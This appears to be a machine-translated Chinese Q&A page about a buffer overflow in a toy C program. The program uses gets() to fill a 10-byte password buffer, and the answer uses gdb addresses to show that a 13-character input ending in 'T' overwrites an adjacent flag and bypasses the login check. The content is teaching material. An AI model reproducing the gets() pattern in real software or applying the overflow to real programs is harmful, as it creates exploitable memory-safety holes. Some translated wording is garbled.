缓冲区溢出攻击而无需更改返回地址

问题描述

我需要在下面的示例代码中调用登录函数。我们可以通过使用缓冲区溢出攻击直接将返回地址更改为登录函数来实现。但是我需要将寄信人地址保持不变。还有其他方法可以在不更改返回地址的情况下打印登录消息吗?

char getPass()
{
     int flag = 'F';
     char pass[10];
     gets(pass);
     return (char) flag;
}

void login()
{
    printf("Logged in");
    exit(0);
}
void main()
{
    printf("Enter Passwd");
    if(getPass() == 'T')
    {
        login();
    }else{
        print("Failed");
        exit(1);
    }
}

解决方法

使其生效取决于编译器决定如何布置变量。如果flag之后在内存中出现pass,则输入的字符数多于pass将导致flag被覆盖。

当我在调试器中运行该程序并打印这些变量的地址时,我得到了以下信息:

(gdb) start
Temporary breakpoint 1 at 0x40060e: file x1.c,line 19.
Starting program: /home/dbush/./x1 

Temporary breakpoint 1,main () at x1.c:19
19      printf("Enter Passwd");
Missing separate debuginfos,use: debuginfo-install glibc-2.17-292.el7.x86_64
(gdb) step
20      if(getPass() == 'T')
(gdb) 
getPass () at x1.c:6
6        int flag = 'F';
(gdb) 
8        gets(pass);
(gdb) p pass
$1 = "\000\000\000\000\000\000\000\000",<incomplete sequence \341>
(gdb) p &pass
$2 = (char (*)[10]) 0x7fffffffdec0
(gdb) p &flag
$3 = (int *) 0x7fffffffdecc

我们可以看到在此特定实例中 flagpass的开头晚了12个字节。我的机器也是little-endian,这意味着flag的4个字节中的第一个包含要覆盖的值。

因此,我们可以通过输入13个字符(最后一个为T)来利用缓冲区溢出漏洞。这将导致10个字符写入pass,另外两个字符写入passflag之间的填充字节,T的第一个字节中的字符flag ,而flag第二个字节中终止的空字节为0。现在变量flag包含'T',这是从函数返回的内容。

还请注意,这样做不会将flag之后的内容写入函数的返回值。这是可能的,因为flagint,并且使用的字节序少。

示例输入/输出:

[dbush@db-centos7 ~]$ ./x1
Enter Passwd1234567890TTT
Logged in[dbush@db-centos7 ~]$ 

相关问答

错误1:Request method ‘DELETE‘ not supported 错误还原:...
错误1:启动docker镜像时报错:Error response from daemon:...
错误1:private field ‘xxx‘ is never assigned 按Alt...
报错如下,通过源不能下载,最后警告pip需升级版本 Requirem...